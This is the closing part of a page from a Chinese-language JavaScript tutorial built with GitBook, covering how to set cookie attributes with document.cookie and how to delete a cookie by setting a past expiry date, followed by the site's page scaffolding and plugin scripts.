<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.cookie = <span class="hljs-string">&apos;fontSize=14; &apos;</span>
  + <span class="hljs-string">&apos;expires=&apos;</span> + someDate.toGMTString() + <span class="hljs-string">&apos;; &apos;</span>
  + <span class="hljs-string">&apos;path=/subdirectory; &apos;</span>
  + <span class="hljs-string">&apos;domain=*.example.com&apos;</span>;
</code></pre>
<p>Cookie &#x7684;&#x5C5E;&#x6027;&#x4E00;&#x65E6;&#x8BBE;&#x7F6E;&#x5B8C;&#x6210;&#xFF0C;&#x5C31;&#x6CA1;&#x6709;&#x529E;&#x6CD5;&#x8BFB;&#x53D6;&#x8FD9;&#x4E9B;&#x5C5E;&#x6027;&#x7684;&#x503C;&#x3002;</p>
<p>&#x5220;&#x9664;&#x4E00;&#x4E2A;&#x73B0;&#x5B58; Cookie &#x7684;&#x552F;&#x4E00;&#x65B9;&#x6CD5;&#xFF0C;&#x662F;&#x8BBE;&#x7F6E;&#x5B83;&#x7684;<code>expires</code>&#x5C5E;&#x6027;&#x4E3A;&#x4E00;&#x4E2A;&#x8FC7;&#x53BB;&#x7684;&#x65E5;&#x671F;&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.cookie = <span class="hljs-string">&apos;fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT&apos;</span>;
</code></pre>
<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4E2D;&#xFF0C;&#x540D;&#x4E3A;<code>fontSize</code>&#x7684; Cookie &#x7684;&#x503C;&#x4E3A;&#x7A7A;&#xFF0C;&#x8FC7;&#x671F;&#x65F6;&#x95F4;&#x8BBE;&#x4E3A;1970&#x5E74;1&#x6708;1&#x6708;&#x96F6;&#x70B9;&#xFF0C;&#x5C31;&#x7B49;&#x540C;&#x4E8E;&#x5220;&#x9664;&#x4E86;&#x8FD9;&#x4E2A; Cookie&#x3002;</p>
<h2 id="&#x53C2;&#x8003;&#x94FE;&#x63A5;">&#x53C2;&#x8003;&#x94FE;&#x63A5;</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies" target="_blank" rel="nofollow">HTTP cookies</a>, by MDN</li>
</ul>




<footer class="page-footer-ex"> <span class="page-footer-ex-copyright"> <a href="https://xiaobaiai.net" target="_blank" rel="nofollow">&#x5C0F;&#x767D;AI.&#x6613;&#x540D;</a>, &#x4F7F;&#x7528;<a href="https://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="nofollow">&#x77E5;&#x8BC6;&#x5171;&#x4EAB; 4.0 &#x534F;&#x8BAE;&#x53D1;&#x5E03;</a>&#x53D1;&#x5E03; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class="page-footer-ex-footer-update"> <i>&#x9875;&#x9762;&#x4FEE;&#x8BA2;&#x4E8E;&#xFF1A;</i> 2019-08-22 16:53:02 </span> </footer>
                                
                                </section>
                            
    </div>
    <div class="search-results">
        <div class="has-results">
            
            <h1 class="search-results-title"><span class='search-results-count'></span> results matching "<span class='search-query'></span>"</h1>
            <ul class="search-results-list"></ul>
            
        </div>
        <div class="no-results">
            
            <h1 class="search-results-title">No results matching "<span class='search-query'></span>"</h1>
            
        </div>
    </div>
</div>

    </div>
    <div class="search-results">
        <div class="has-results">
            
            <h1 class="search-results-title"><span class='search-results-count'></span> results matching "<span class='search-query'></span>"</h1>
            <ul class="search-results-list"></ul>
            
        </div>
        <div class="no-results">
            
            <h1 class="search-results-title">No results matching "<span class='search-query'></span>"</h1>
            
        </div>
    </div>
</div>

                        </div>
                    </div>
                
            </div>

            
                
                <a href="navigator.html" class="navigation navigation-prev " aria-label="Previous page: Navigatror 对象，Screen 对象">
                    <i class="fa fa-angle-left"></i>
                </a>
                
                
                <a href="xmlhttprequest.html" class="navigation navigation-next " aria-label="Next page: XMLHttpRequest 对象">
                    <i class="fa fa-angle-right"></i>
                </a>
                
            
        
    </div>

    <script>
        var gitbook = gitbook || [];
        gitbook.push(function() {
            gitbook.page.hasChanged({"page":{"title":"Cookie","level":"1.11.4","depth":2,"next":{"title":"XMLHttpRequest 对象","level":"1.11.5","depth":2,"path":"docs/bom/xmlhttprequest.md","ref":"docs/bom/xmlhttprequest.md","articles":[]},"previous":{"title":"Navigatror 对象，Screen 对象","level":"1.11.3","depth":2,"path":"docs/bom/navigator.md","ref":"docs/bom/navigator.md","articles":[]},"dir":"ltr"},"config":{"plugins":["-sharing","chapter-fold","back-to-top-button","search-pro","sharing-plus","myseo","favicon","page-footer-ex","search-pro","livereload"],"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"pluginsConfig":{"chapter-fold":{},"livereload":{},"page-footer-ex":{"copyright":"<a href='https://xiaobaiai.net' target='_blank'>小白AI.易名</a>, 使用<a href='https://creativecommons.org/licenses/by-sa/4.0/' target='_blank'>知识共享 4.0 协议发布</a>发布","markdown":false,"update_format":"YYYY-MM-DD HH:mm:ss","update_label":"<i>页面修订于：</i>"},"search-pro":{},"search":{},"sharing-plus":{"qq":false,"all":["facebook","google","twitter","instapaper","linkedin","pocket","stumbleupon"],"douban":false,"facebook":true,"weibo":false,"instapaper":false,"whatsapp":false,"hatenaBookmark":false,"twitter":true,"messenger":false,"line":false,"vk":false,"pocket":true,"google":false,"viber":false,"stumbleupon":false,"qzone":false,"linkedin":false},"lunr":{"maxIndexSize":1000000,"ignoreSpecialCharacters":false},"myseo":{"description":"Javascript教程","keywords":"小白AI.易名,xiaobaiai.net,Javascript,入门,教程,博客","titlePrefix":"Javascript教程 - ","titleSuffix":" - 小白AI.易名"},"fontsettings":{"theme":"white","family":"sans","size":2},"highlight":{},"favicon":{"shortcut":"assets/images/favicon.ico","bookmark":"assets/images/favicon.ico","appleTouch":"assets/images/apple-touch-icon.png","appleTouchMore":{"120x120":"assets/images/apple-touch-icon-120x120.png","180x180":"assets/images/apple-touch-icon-180x180.png"}},"back-to-top-button":{},"sharing":{"qq":true,"all":["qq","qzone","twitter","weibo","linkedin"],"douban":false,"facebook":true,"weibo":true,"instapaper":false,"whatsapp":false,"hatenaBookmark":false,"twitter":false,"messenger":false,"line":false,"vk":false,"pocket":false,"google":false,"viber":false,"stumbleupon":false,"qzone":true,"linkedin":false},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false}},"theme":"default","author":"小白AI.易名","pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56}},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"variables":{},"language":"zh-hans","gitbook":"*","description":"Javascript教程"},"file":{"path":"docs/bom/cookie.md","mtime":"2019-08-22T08:53:02.290Z","type":"markdown"},"gitbook":{"version":"3.2.3","time":"2019-08-28T05:00:46.673Z"},"basePath":"../..","book":{"language":""}});
        });
    </script>
</div>

        
    <script src="../../gitbook/gitbook.js"></script>
    <script src="../../gitbook/theme.js"></script>
    
        
        <script src="../../gitbook/gitbook-plugin-chapter-fold/chapter-fold.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-back-to-top-button/plugin.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-search-pro/jquery.mark.min.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-search-pro/search.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-sharing-plus/buttons.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-livereload/plugin.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-search/search-engine.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-search/search.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-lunr/lunr.min.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-lunr/search-lunr.js"></script>
        
    
        
        <script src="../../gitbook/gitbook-plugin-fontsettings/fontsettings.js"></script>
        
    

    </body>
</html>

